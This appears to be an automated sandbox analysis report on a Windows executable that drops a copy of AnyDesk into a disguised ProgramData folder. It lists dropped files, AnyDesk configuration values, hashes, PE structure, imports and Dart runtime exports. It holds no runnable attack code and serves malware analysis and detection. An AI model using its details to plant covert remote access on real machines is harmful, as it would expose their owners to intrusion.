Preview:	* * * * * * * * * * * * * * * * * .. info 2024-03-03 12:43:02.547 front 7872 7876 main - AnyDesk Windows Startup .. info 2024-03-03 12:43:02.547 front 7872 7876 main - Version 8.0.8 ((detached head) 161cbc3269fd82431aba292c6ced1f1480f4964c).. info 2024-03-03 12:43:02.547 front 7872 7876 main - * Checksum 48544a05569c2af380b61b4f5af5a087.. info 2024-03-03 12:43:02.547 front 7872 7876 main - * Build 20240127190435.. info 2024-03-03 12:43:02.547 front 7872 7876 main - * Copyright (C) 2024 AnyDesk Software GmbH *.. info 2024-03-03 12:43:02.547 front 7872 7876 main - .. info 2024-03-03 12:43:02.547 front 7872 7876 main - Command Line params: C:\ProgramData\WinNet\AnyDesk.exe.. i

C:\Users\user\AppData\Roaming\AnyDesk\service.conf

Download File

Process:	C:\ProgramData\WinNet\AnyDesk.exe
File Type:	ASCII text, with very long lines (1751)
Category:	dropped
Size (bytes):	2970
Entropy (8bit):	6.032479016787394
Encrypted:	false
SSDEEP:	48:uISTI3ia8uPaX+lXPOc4zbZ7Lj6ISapjGPNkLqJLSTQjzDwo6qacSO4D+uyMrhs3:uISTWiaVPasPOffZ7LexapalNNDw9jxq
MD5:	01E064C6CEC5814838938571DF664F3B
SHA1:	5B831B46AFCA6F51FD0310A09071894889E11147
SHA-256:	BB9B82AEEC6BCAF11C28F8D1C2563544B2531A9512DEAE5A658F9E1E43256782
SHA-512:	C6111B013F02E0DD1C81B5E0D2D461F369E5B56F18057F78A4F75A64749598D789AF43C1E1451DA1759997F8C562C282ED8087C041EBCD123527F8E4F779F9E1
Malicious:	false
Preview:	ad.anynet.cert=-----BEGIN CERTIFICATE-----\nMIICqDCCAZACAQEwDQYJKoZIhvcNAQELBQAwGTEXMBUGA1UEAwwOQW55RGVzayBD\nbGllbnQwIBcNMjQwMzAzMTI0MzA1WhgPMjA3NDAyMTkxMjQzMDVaMBkxFzAVBgNV\nBAMMDkFueURlc2sgQ2xpZW50MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC\nAQEAv6c9zaZYsmnz0ZB13DHMTD0ynvCUNvZtRGnSuH7nsm7mYyRrk+YkN52M5UvD\n2rWprBrQkuartpVMMbBy8TROnPmvPFwzk5kzUwYgZmdl5+EMwwQRCciWpe/StmHt\nW8q1wotRh2MQNAVdJtTdIv3G2ua9RrcBfY9uodQzdqML9Mss0y+6OoAOPQzh90ci\nATDjJOjcyIyClUgiAKa5E6V1aE+1AaDCb5Z2PIJq3aPZCS1UuqApkp1EkoR1tKce\n7a5Uxpxes2LI9SXh5KnV2qvgP0xN02wl8ngvjO2s9I5gZAW1MnpkxXbW7nkXibqq\n1v+dIeDGxxhNopVL1SeDChOnLwIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQAHH49j\ndoXZN7w2FLDwXOVzjZUGYuDRtgr6ybOdPAlzszLMTV9XkXdHo2p/Z1iBhhXbuwG4\nVVcXXaoY7ar+0KwG+qgd1pQZ2sfDSQerAupdyIfFE5FoYMBDqFX1Q0seQkG4fUxd\nRkZuVgsc6hFlDQjlt//8Mcvy+voMpmHHZclg+8XOubOuQTiLldBUZ895Uc4BCLec\nDyO6PpwVFhR8wQBPZo4pwBt309n3uhq2XM3fPW+Nzevmv6AoFzwQ1hw6TRt38iba\nO8by65ZNqf/FEZOPVZmTGVmk3iWI2D0uN1rirqbDlnjNnMnRgUTmwCSVSj+6hfPq\nJs9P+OeHU7zW5ajz\n-----END CERTI

C:\Users\user\AppData\Roaming\AnyDesk\system.conf

Download File

Process:	C:\ProgramData\WinNet\AnyDesk.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	802
Entropy (8bit):	4.821449803056487
Encrypted:	false
SSDEEP:	12:o2TLv5HrVFEcER5syiBs7sdi7lNqQHvWhQ44LroBGgFBG9LhhwOMcn:F3v5LVCcENiBsB5sAw34LtB9LhhwOMc
MD5:	AE5E3C63DF01DBAF302B9A727E1FD3E6
SHA1:	9AB4973B7D39EFCE37202F7103EFC8A833C5F41A
SHA-256:	12F2F90DB86A50FEABAD0A4EDBA408CAEF70504415A6C36FC8A39A84D1DAFC1D
SHA-512:	F9AC138872841D4C5129D0211047FC66C0C0ED0CB44D0CA43C880B39E0AF60EA97C3A7A8BE42E5E0C7732472D61E0154069F44038EAF1E913A3DF54F270E6B39
Malicious:	false
Preview:	ad.anynet.alias=.ad.anynet.client_stats_hash=b1f7518ff116314007add896914384f97e95532e.ad.anynet.cur_version=34359738376.ad.anynet.fpr=ed865e2370247634f518f71a2f90e0b35e30bf20.ad.anynet.id=1194019040.ad.anynet.last_relay=relay-d7627e96.net.anydesk.com:80:443:6568.ad.anynet.network_hash=2038af04831d5c3d6443e0de15a3df48f2c757b0.ad.anynet.network_id=main.ad.anynet.relay.fatal_result=1.0.ad.anynet.relay.state=2.ad.license.name=free-1.ad.security.frontend_clipboard=1.ad.security.frontend_clipboard_files=1.ad.security.frontend_clipboard_version=1.ad.security.permission_profiles._default.permissions.sas=1.ad.security.permission_profiles._unattended_access.permissions.sas=1.ad.security.permission_profiles.version=1.ad.security.update_version=1.ad.wol.mac_hash=47dcfed10c8d0ae02cf11ad2a06fa0e5224153e3.

C:\Users\user\AppData\Roaming\AnyDesk\user.conf

Download File

Process:	C:\ProgramData\WinNet\AnyDesk.exe
File Type:	ASCII text, with very long lines (3261)
Category:	dropped
Size (bytes):	7120
Entropy (8bit):	4.41664974293869
Encrypted:	false
SSDEEP:	192:1z0DFhkoXRxp81jWBL6GB/8FuKr1b5azwVbxV:yBAdWBL/B/6uK71V1V
MD5:	FE6A0EE6166EF9FE5BB94AFC51B7C9B7
SHA1:	294FE00F60D1AFBEB6DC8AEB12A97C2F97BEAAB3
SHA-256:	B025DAB8BC0347F8A64A350188C1751485CB41E1CBEDB37894688A2BBE1F3749
SHA-512:	689BEBE72FC2FF5F51A93D77DB3A8DABD5B5929CB6DB02272DBEC55329D2259A0E38D61244C62BF8C3E33FD534CC1629A5D8B5208185B53B58EAEC0FCF744F00
Malicious:	false
Preview:	ad.account.auth_methods=6fa74c609a01f31f1f670668df954f4642a4aae8018a18daf78f7344602093f698a6c16b3bcbeef90ff648310f1fa2df0b53d2e90e4e008262013ecaea92da1df2c69f843291017c397d4b473f562f1929b70449e13fd3dc3a0396a444a2c27374ab0862b47b212f41cf5778b89c2440234ef0f32df6c8098eae7af8abfe6be5d70c18e4b69f65eb71b237aee0bf5470f0d92a44e01de5f86c200a60c3deb2182e82806804e9ccd5a6af82bc13a30eb5b5d30a7fc873ef88db18f7ee0be3122f704b0959d4fd239e6edd56e52331cc0f2a9857ed8eb8dab8b7e2880bf8fea75a282c69ee4376.ad.account.info=6fa74c609a01f31f1f670668df954f4642a4aae8018a18daf78f7344602093f698a6c16b3bcbeef90ff648310f1fa2df0b53d2e90e4e008262013ecaea92653058f4e7c073949a59237b1c8c503558b457aac8d296dba41f7e0bf5a8bca6c27374ab0862b47b212f41cf5778b89ca3af6dbde6d499637988f89b8fe9b625c9b55a31797b6c501cb32503b557bde96470f0d9dd19ceee335f73d7c8a50416690ea0c6aef88a0ae95c0932cbcfd4ac5c7f2e7f11cc97f0bf8d4edde66692d2f270b471fa1cf21bfc4242e3a28d604fbf4242b00f6df5e94eaae69c2a61f1de08c5399d2b6f51ff4de1a571c10023b755b4cf4e0567fd41.ad.acc

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\75fdacd8330bac18.customDestinations-ms (copy)

Download File

Process:	C:\ProgramData\WinNet\AnyDesk.exe
File Type:	data
Category:	dropped
Size (bytes):	3490
Entropy (8bit):	3.2039303601796094
Encrypted:	false
SSDEEP:	24:MFZF7ApmN7js0RX4pYWoymPFZFfkAQn9js0RX4GjDym+:oHspejsycNoyiHb29jsyny1
MD5:	375C47A0772A1ED24F5D5C1255CD6D39
SHA1:	C55185D98A6EA76209EA3182988432B182C56038
SHA-256:	60DF8D622C4B027E0D57317744F366DFCFA307F0A1D31D4B627C51A2D2920AEC
SHA-512:	EE7B849C7499249852EA00ADC026D2231F19D8F9630A1FDCF489BC2AFC70F309E835014D0505BD49507EEA69CF1DA69C18A33277BEE245D8B8AEC8353CB42908
Malicious:	false
Preview:	...................................FL..................F.@.. .....Shm...N.Shm.....Shm..H.O.....................E....P.O. .:i.....+00.../C:\...................`.1.....cX`e. PROGRA~3..H......O.IcX`e....g.........................P.r.o.g.r.a.m.D.a.t.a.....T.1.....cX`e. WinNet..>......cX`ecX`e.........................."...W.i.n.N.e.t.....b.2.H.O.cX`e AnyDesk.exe.H......cX`ecX`e....i....................."...A.n.y.D.e.s.k...e.x.e.......P...............-.......O............"eC.....C:\ProgramData\WinNet\AnyDesk.exe....O.p.e.n. .a. .n.e.w. .A.n.y.D.e.s.k. .w.i.n.d.o.w...!.C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.W.i.n.N.e.t.\.A.n.y.D.e.s.k...e.x.e.........%ALLUSERSPROFILE%\WinNet\AnyDesk.exe................................................................................................................................................................................................................................%.A.L.L.U.S.E.R.S.P.R.O.F.I.L.E.%.\.W.i.n.N.e.t.\.A.n.y.D.e.s.k...e.x.e....................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\I6KIFVPNQA3LFAA07AVE.temp

Download File

Process:	C:\ProgramData\WinNet\AnyDesk.exe
File Type:	data
Category:	dropped
Size (bytes):	3490
Entropy (8bit):	3.2039303601796094
Encrypted:	false
SSDEEP:	24:MFZF7ApmN7js0RX4pYWoymPFZFfkAQn9js0RX4GjDym+:oHspejsycNoyiHb29jsyny1
MD5:	375C47A0772A1ED24F5D5C1255CD6D39
SHA1:	C55185D98A6EA76209EA3182988432B182C56038
SHA-256:	60DF8D622C4B027E0D57317744F366DFCFA307F0A1D31D4B627C51A2D2920AEC
SHA-512:	EE7B849C7499249852EA00ADC026D2231F19D8F9630A1FDCF489BC2AFC70F309E835014D0505BD49507EEA69CF1DA69C18A33277BEE245D8B8AEC8353CB42908
Malicious:	false
Preview:	...................................FL..................F.@.. .....Shm...N.Shm.....Shm..H.O.....................E....P.O. .:i.....+00.../C:\...................`.1.....cX`e. PROGRA~3..H......O.IcX`e....g.........................P.r.o.g.r.a.m.D.a.t.a.....T.1.....cX`e. WinNet..>......cX`ecX`e.........................."...W.i.n.N.e.t.....b.2.H.O.cX`e AnyDesk.exe.H......cX`ecX`e....i....................."...A.n.y.D.e.s.k...e.x.e.......P...............-.......O............"eC.....C:\ProgramData\WinNet\AnyDesk.exe....O.p.e.n. .a. .n.e.w. .A.n.y.D.e.s.k. .w.i.n.d.o.w...!.C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.W.i.n.N.e.t.\.A.n.y.D.e.s.k...e.x.e.........%ALLUSERSPROFILE%\WinNet\AnyDesk.exe................................................................................................................................................................................................................................%.A.L.L.U.S.E.R.S.P.R.O.F.I.L.E.%.\.W.i.n.N.e.t.\.A.n.y.D.e.s.k...e.x.e....................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.397360951799639
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SysrI6zSkJ.exe
File size:	21'906'944 bytes
MD5:	2e501240ec8b9aab46d76a6504e44882
SHA1:	1a97d7662e66502faa5a7718565bb362eb6f27bd
SHA256:	582cf0470ba0d2c2ef2c3fee83442db0e345656f7d7c46ee5b613998fdd6ee00
SHA512:	eae4aacbfcee43ad8f9b2acbddb1b3b71c2aec0064bc6605107eb8b254614361c77984d09e7eabb91fc26634822ac448d8be884dd8f174021c52979690c2f97b
SSDEEP:	98304:Kj1ZAxOCU3yUetDvB6ti3FOU8jRdqY9d2omTt20+NVZ:mAxOCU3yUetDvB6ti1aOTtlcVZ
TLSH:	C527D03287433CF9D86C5936D0262E155E78368BCB25A1CFEBC424772FAEDC48D29661
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......a(J(%I${%I${%I${.9'z=I${.9!z.I${C&.{,I${w<!zvI${w< z6I${w<'z)I${.9 z.I${.9%z>I${%I%{)H${%I${AM${.<$z$I${.<.{$I${.<&z$I${Rich%I$

File Icon


Icon Hash:	1765839997876d37

Static PE Info

General

Entrypoint:	0x1402634e4
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x65C29ABB [Tue Feb 6 20:46:51 2024 UTC]
TLS Callbacks:	0x4018cd80, 0x1, 0x4009cf00, 0x1
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	9576feaee7c50f81d281a6149bed248d

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FDCD51CD098h
dec eax
add esp, 28h
jmp 00007FDCD51CC6F7h
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
xor ecx, ecx
call dword ptr [0003AD3Fh]
dec eax
mov ecx, ebx
call dword ptr [0003B04Eh]
call dword ptr [0003ADB0h]
dec eax
mov ecx, eax
mov edx, C0000409h
dec eax
add esp, 20h
pop ebx
dec eax
jmp dword ptr [0003AD8Ch]
dec eax
mov dword ptr [esp+08h], ecx
dec eax
sub esp, 38h
mov ecx, 00000017h
call dword ptr [0003B028h]
test eax, eax
je 00007FDCD51CC889h
mov ecx, 00000002h
int 29h
dec eax
lea ecx, dword ptr [0014B62Eh]
call 00007FDCD51CCA4Eh
dec eax
mov eax, dword ptr [esp+38h]
dec eax
mov dword ptr [0014B715h], eax
dec eax
lea eax, dword ptr [esp+38h]
dec eax
add eax, 08h
dec eax
mov dword ptr [0014B6A5h], eax
dec eax
mov eax, dword ptr [0014B6FEh]
dec eax
mov dword ptr [0014B56Fh], eax
dec eax
mov eax, dword ptr [esp+40h]
dec eax
mov dword ptr [0014B673h], eax
mov dword ptr [0014B549h], C0000409h
mov dword ptr [0014B543h], 00000001h
mov dword ptr [0014B54Dh], 00000001h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x39f100	0x26d8	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3a17d8	0x118	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3c7000	0x10ab5	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x3b1000	0x147a8	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3d8000	0xa0e8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x398a18	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x398c00	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x398a70	0x138	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x29e000	0x790	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x29ce34	0x29d000	540077970aa66d75d4e97e3a6080936c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x29e000	0x1050ee	0x105200	ec7e77069345beb6fd4280abff24481e	False	0.3736228084609861	data	6.1960997863784755	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3a4000	0xc21c	0x4200	8224b3809e97cfd4c4ab01b6d66b1871	False	0.181640625	data	3.794800668027772	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x3b1000	0x147a8	0x14800	211a9e14a91d5aed26341c803e945f7a	False	0.4945931783536585	data	6.021656628421719	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x3c6000	0xfc	0x200	e6b9c002c7370fb9390f6d78a24e5375	False	0.326171875	data	2.4706336560932725	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x3c7000	0x10ab5	0x10c00	88f1cf54e2672a8cf3b7a789982939fc	False	0.08477145522388059	data	3.699073812667143	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x3d8000	0xa0e8	0xa200	31614008b9578caeea7592d554cef0f2	False	0.15048707561728394	data	5.449275206873749	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
snapshot	0x3e3000	0x110e4c0	0x110e600	828acc69034bc21f6c78e11157c4ef6e	unknown	unknown	unknown	unknown	IMAGE_SCN_MEM_DISCARDABLE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x3c70fc	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584			0.08026736070034307
RT_GROUP_ICON	0x3d7924	0x14	data			1.15
RT_MANIFEST	0x3d7938	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
ole32.dll	CoTaskMemFree, CoTaskMemAlloc
IPHLPAPI.DLL	GetAdaptersAddresses
PSAPI.DLL	GetProcessMemoryInfo, EnumProcessModules
WS2_32.dll	socket, WSARecv, WSASend, getsockopt, WSAGetLastError, WSASetLastError, WSAIoctl, closesocket, setsockopt, send, recv, ioctlsocket, connect, WSASocketW, listen, bind, WSASendTo, InetNtopW, InetPtonW, getnameinfo, freeaddrinfo, getaddrinfo, getpeername, getsockname, WSAStartup, WSAAddressToStringW, ntohs, htons, gethostname, WSARecvFrom, shutdown
RPCRT4.dll	UuidCreateSequential, UuidToStringW, RpcStringFreeW
SHLWAPI.dll	UrlIsW, PathCreateFromUrlW
ADVAPI32.dll	RegGetValueW
SHELL32.dll	CommandLineToArgvW
dbghelp.dll	SymCleanup, SymInitialize, SymSetOptions
bcrypt.dll	BCryptGenRandom
CRYPT32.dll	CertEnumCertificatesInStore, CertFreeCertificateContext, CertCloseStore, CertOpenStore
KERNEL32.dll	GetUserDefaultLCID, IsValidLocale, GetLocaleInfoW, LCMapStringW, CompareStringW, HeapAlloc, HeapFree, GetCommandLineA, GetModuleHandleExW, FreeLibraryAndExitThread, ExitThread, CreateThread, SystemTimeToFileTime, TzSpecificLocalTimeToSystemTime, CreatePipe, DuplicateHandle, EnumSystemLocalesW, GetDriveTypeW, ReadConsoleW, RaiseException, GetCPInfo, GetStringTypeW, LCMapStringEx, DecodePointer, EncodePointer, FindFirstFileExW, IsValidCodePage, GetACP, GetOEMCP, SetEnvironmentVariableW, GetProcessHeap, HeapReAlloc, GetFileSizeEx, WriteConsoleW, PeekNamedPipe, GetTempPathW, InitOnceExecuteOnce, SetConsoleCtrlHandler, GetConsoleOutputCP, GetConsoleCP, SetConsoleOutputCP, SetConsoleCP, GetStdHandle, GetConsoleMode, SetConsoleMode, MultiByteToWideChar, CreateFileW, SetStdHandle, CreateIoCompletionPort, CancelIoEx, CloseHandle, WaitForSingleObject, OpenThread, GetFileType, ReadFile, PostQueuedCompletionStatus, GetLastError, WriteFile, SetLastError, ReadDirectoryChangesW, GetQueuedCompletionStatus, GetCurrentDirectoryW, SetCurrentDirectoryW, SetErrorMode, SetUnhandledExceptionFilter, GetSystemInfo, GetUserDefaultLocaleName, GetEnvironmentStringsW, FreeEnvironmentStringsW, GetModuleFileNameW, WideCharToMultiByte, ExitProcess, GetModuleHandleW, GetProcAddress, CreateProcessW, CreateEventW, WaitForMultipleObjects, OpenProcess, TerminateProcess, GetCurrentProcessId, GetCurrentProcess, CreateNamedPipeW, RegisterWaitForSingleObject, UnregisterWait, GetExitCodeProcess, GetConsoleScreenBufferInfo, LoadLibraryExW, FreeLibrary, LoadLibraryW, FormatMessageA, LocalFree, VirtualAlloc, VirtualFree, VirtualProtect, InitializeSRWLock, AcquireSRWLockShared, AcquireSRWLockExclusive, ReleaseSRWLockShared, ReleaseSRWLockExclusive, TlsGetValue, TlsAlloc, TlsSetValue, FindNextFileW, FindFirstFileW, GetFileInformationByHandle, FindClose, GetFileAttributesW, CreateDirectoryW, HeapSize, RemoveDirectoryW, MoveFileExW, DeleteFileW, SetFileAttributesW, SetFilePointerEx, SetEndOfFile, FlushFileBuffers, LockFileEx, UnlockFileEx, GetFullPathNameW, CreateSymbolicLinkW, CopyFileExW, MoveFileW, DeviceIoControl, SetFileTime, GetFinalPathNameByHandleW, GetCurrentThreadId, TryAcquireSRWLockExclusive, InitializeCriticalSection, InitializeConditionVariable, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, SleepConditionVariableCS, WakeConditionVariable, WakeAllConditionVariable, FormatMessageW, GetCommandLineW, QueryPerformanceFrequency, QueryPerformanceCounter, GetSystemTimeAsFileTime, Sleep, GetCurrentThread, SetThreadPriority, TlsFree, VirtualQuery, SleepConditionVariableSRW, GetTimeZoneInformation, FileTimeToSystemTime, GetTimeZoneInformationForYear, SystemTimeToTzSpecificLocalTime, GetLocaleInfoEx, CreateFileA, CreateFileMappingW, MapViewOfFile, UnmapViewOfFile, InitializeCriticalSectionAndSpinCount, SetEvent, ResetEvent, WaitForSingleObjectEx, InitializeSListHead, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, IsProcessorFeaturePresent, IsDebuggerPresent, GetStartupInfoW, InitOnceBeginInitialize, InitializeCriticalSectionEx, TryEnterCriticalSection, InitOnceComplete, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree
ntdll.dll	RtlUnwindEx, RtlUnwind, RtlPcToFileHeader

Exports

Name	Ordinal	Address
Dart_AddSymbols	1	0x140242a30
Dart_Allocate	2	0x140256d60
Dart_AllocateWithNativeFields	3	0x140257380
Dart_BooleanValue	4	0x14024ccb0
Dart_ClassLibrary	5	0x14024a640
Dart_ClassName	6	0x140249860
Dart_Cleanup	7	0x140241430
Dart_CloseNativePort	8	0x140262630
Dart_ClosureFunction	9	0x14024a2d0
Dart_CompileAll	10	0x140262700
Dart_CompileToKernel	11	0x140260ca0
Dart_CopyUTF8EncodingOfString	12	0x14024ed90
Dart_CreateAppAOTSnapshotAsAssemblies	13	0x140260e20
Dart_CreateAppAOTSnapshotAsAssembly	14	0x140260e20
Dart_CreateAppAOTSnapshotAsElf	15	0x140260e00
Dart_CreateAppAOTSnapshotAsElfs	16	0x140260e00
Dart_CreateAppJITSnapshotAsBlobs	17	0x140260e40
Dart_CreateCoreJITSnapshotAsBlobs	18	0x140260e40
Dart_CreateIsolateGroup	19	0x140241ae0
Dart_CreateIsolateGroupFromKernel	20	0x140241c70
Dart_CreateIsolateInGroup	21	0x140241e40
Dart_CreateSnapshot	22	0x140243770
Dart_CreateVMAOTSnapshotAsAssembly	23	0x140260e20
Dart_CurrentIsolate	24	0x1402421b0
Dart_CurrentIsolateData	25	0x1402421e0
Dart_CurrentIsolateGroup	26	0x1402422f0
Dart_CurrentIsolateGroupData	27	0x140242320
Dart_CurrentIsolateGroupId	28	0x1402423b0
Dart_DebugName	29	0x1402424c0
Dart_DebugNameToCString	30	0x140242780
Dart_DefaultCanonicalizeUrl	31	0x14025c630
Dart_DeferredLoadComplete	32	0x14025f850
Dart_DeferredLoadCompleteError	33	0x14025fc80
Dart_DeleteFinalizableHandle	34	0x140241160
Dart_DeletePersistentHandle	35	0x140240d70
Dart_DeleteWeakPersistentHandle	36	0x140240f60
Dart_DetectNullSafety	37	0x140260d20
Dart_DisableHeapSampling	38	0x140004e80
Dart_DoubleValue	39	0x14024c340
Dart_DumpNativeStackTrace	40	0x140004e80
Dart_EmptyString	41	0x140245ae0
Dart_EnableHeapSampling	42	0x140004e80
Dart_EnterIsolate	43	0x1402428e0
Dart_EnterScope	44	0x140245570
Dart_ErrorGetException	45	0x14023e840
Dart_ErrorGetStackTrace	46	0x14023eb30
Dart_ErrorHasException	47	0x14023e640
Dart_ExecuteInternalCommand	48	0x140262760
Dart_ExitIsolate	49	0x140243690
Dart_ExitScope	50	0x1402456f0
Dart_False	51	0x14024cc00
Dart_FinalizeAllClasses	52	0x140262730
Dart_FinalizeLoading	53	0x14025f5d0
Dart_FunctionIsStatic	54	0x140249ff0
Dart_FunctionName	55	0x1402494f0
Dart_FunctionOwner	56	0x140249c10
Dart_GetClass	57	0x14025d0a0
Dart_GetCurrentUserTag	58	0x140260e90
Dart_GetDataFromByteBuffer	59	0x140255f20
Dart_GetDefaultUserTag	60	0x140261120
Dart_GetError	61	0x14023e320
Dart_GetField	62	0x140258b90
Dart_GetLoadedLibraries	63	0x14025eb40
Dart_GetMainPortId	64	0x1402454d0
Dart_GetMessageNotifyCallback	65	0x140243a10
Dart_GetNativeArgument	66	0x14025b0d0
Dart_GetNativeArgumentCount	67	0x14025b3e0
Dart_GetNativeArguments	68	0x14025a7e0
Dart_GetNativeBooleanArgument	69	0x14025b820
Dart_GetNativeDoubleArgument	70	0x14025b8b0
Dart_GetNativeFieldsOfArgument	71	0x14025b400
Dart_GetNativeInstanceField	72	0x14025a170
Dart_GetNativeInstanceFieldCount	73	0x140259ea0
Dart_GetNativeIntegerArgument	74	0x14025b790
Dart_GetNativeIsolateGroupData	75	0x14025a7c0
Dart_GetNativeReceiver	76	0x14025b490
Dart_GetNativeResolver	77	0x14025ff70
Dart_GetNativeStringArgument	78	0x14025b610
Dart_GetNativeSymbol	79	0x140260250
Dart_GetNonNullableType	80	0x14025ddb0
Dart_GetNullableType	81	0x14025dd90
Dart_GetObfuscationMap	82	0x140260e60
Dart_GetPeer	83	0x1402607e0
Dart_GetStaticMethodClosure	84	0x14024c600
Dart_GetStickyError	85	0x140242f50
Dart_GetType	86	0x14025d5f0
Dart_GetTypeOfExternalTypedData	87	0x140254110
Dart_GetTypeOfTypedData	88	0x140253f50
Dart_GetUserTagLabel	89	0x1402619f0
Dart_HandleFromPersistent	90	0x14023ff70
Dart_HandleFromWeakPersistent	91	0x1402401b0
Dart_HandleMessage	92	0x1402442b0
Dart_HandleServiceMessages	93	0x140011c20
Dart_HasLivePorts	94	0x140244c70
Dart_HasServiceMessages	95	0x1400014c0
Dart_HasStickyError	96	0x140242eb0
Dart_IdentityEquals	97	0x14023fd30
Dart_Initialize	98	0x140241400
Dart_InstanceGetType	99	0x140249160
Dart_IntegerFitsIntoInt64	100	0x14024a960
Dart_IntegerFitsIntoUint64	101	0x14024ac10
Dart_IntegerToHexCString	102	0x14024bd90
Dart_IntegerToInt64	103	0x14024b7b0
Dart_IntegerToUint64	104	0x14024ba80
Dart_Invoke	105	0x1402580b0
Dart_InvokeClosure	106	0x1402586f0
Dart_InvokeConstructor	107	0x1402577f0
Dart_InvokeVMServiceMethod	108	0x1402626d0
Dart_IsApiError	109	0x14023dbe0
Dart_IsBoolean	110	0x1402471c0
Dart_IsByteBuffer	111	0x140248d00
Dart_IsClosure	112	0x140248720
Dart_IsCompilationError	113	0x14023dea0
Dart_IsDouble	114	0x140247020
Dart_IsError	115	0x14023da10
Dart_IsExternalString	116	0x1402476a0
Dart_IsFatalError	117	0x14023e1c0
Dart_IsFunction	118	0x140248240
Dart_IsFuture	119	0x140248ea0
Dart_IsInstance	120	0x140246b00
Dart_IsInteger	121	0x140246e80
Dart_IsKernel	122	0x140243790
Dart_IsKernelIsolate	123	0x1400014c0
Dart_IsLegacyType	124	0x14025e450
Dart_IsLibrary	125	0x140247ef0
Dart_IsList	126	0x140247840
Dart_IsMap	127	0x140247bb0
Dart_IsNonNullableType	128	0x14025e440
Dart_IsNull	129	0x140245990
Dart_IsNullableType	130	0x14025e170
Dart_IsNumber	131	0x140246ce0
Dart_IsPausedOnExit	132	0x1400014c0
Dart_IsPausedOnStart	133	0x1400014c0
Dart_IsPrecompiledRuntime	134	0x140011c20
Dart_IsReloading	135	0x1400014c0
Dart_IsServiceIsolate	136	0x1400014c0
Dart_IsString	137	0x140247360
Dart_IsStringLatin1	138	0x140247500
Dart_IsTearOff	139	0x1402488c0
Dart_IsType	140	0x140248090
Dart_IsTypeVariable	141	0x140248580
Dart_IsTypedData	142	0x140248ae0
Dart_IsUnhandledExceptionError	143	0x14023dd40
Dart_IsVMFlagSet	144	0x1402414d0
Dart_IsVariable	145	0x1402483e0
Dart_IsolateData	146	0x140242280
Dart_IsolateFlagsInitialize	147	0x140241ad0
Dart_IsolateGroupData	148	0x140242450
Dart_IsolateGroupHeapNewCapacityMetric	149	0x1402416e0
Dart_IsolateGroupHeapNewExternalMetric	150	0x140241760
Dart_IsolateGroupHeapNewUsedMetric	151	0x140241660
Dart_IsolateGroupHeapOldCapacityMetric	152	0x140241560
Dart_IsolateGroupHeapOldExternalMetric	153	0x1402415e0
Dart_IsolateGroupHeapOldUsedMetric	154	0x1402414e0
Dart_IsolateMakeRunnable	155	0x1402437c0
